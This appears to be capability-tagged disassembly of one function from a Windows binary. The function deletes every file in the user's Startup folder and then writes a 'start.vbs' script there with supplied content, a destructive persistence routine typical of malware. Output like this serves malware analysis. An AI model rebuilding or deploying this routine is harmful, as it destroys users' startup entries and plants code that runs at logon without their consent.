Function at 0x140001820
Capabilities:
Delete file
Enumerate files on windows
Get common file path
Get startup folder
Write file on windows
Write file to startup folder

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x5e0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x5d0], rax
mov rsi, rcx
lea rax, [rsp + 0x190]
xor ecx, ecx
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea r8, [0x140007734]
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001971
test byte [rsp + 0x50], 0x10
jne 0x140001950
lea r8, [rsp + 0x7c]
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x3b0]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
lea rcx, [rsp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140001920
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_delete
mov ebx, eax
call fcn.1400040f0
mov rcx, rax
lea rdx, [rsp + 0x7c]
call fcn.1400040f0
mov rcx, rax
lea rdx, str.._Error:
call fcn.1400040f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x140001940
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Deleted:
call fcn.1400040f0
mov rcx, rax
lea rdx, [rsp + 0x7c]
call fcn.1400040f0
lea rdx, [0x1400042d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400018a4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1400019a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.No_files_found_or_error:
mov ebx, eax
call fcn.1400040f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400042d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, str.start.vbs
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x4c0]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
xor edi, edi
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001a3f
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x140001a0a
mov rdx, qword [rsi]
mov r8d, dword [rsi + 0x10]
lea r9, [rsp + 0x40]
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.start.vbs_created_successfully.
call fcn.1400040f0
jmp 0x140001a65
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_start.vbs._Error:
mov ebx, eax
call fcn.1400040f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400042d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x5d0]
xor rcx, rsp
call fcn.140004dd0
lea r11, [rsp + 0x5e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret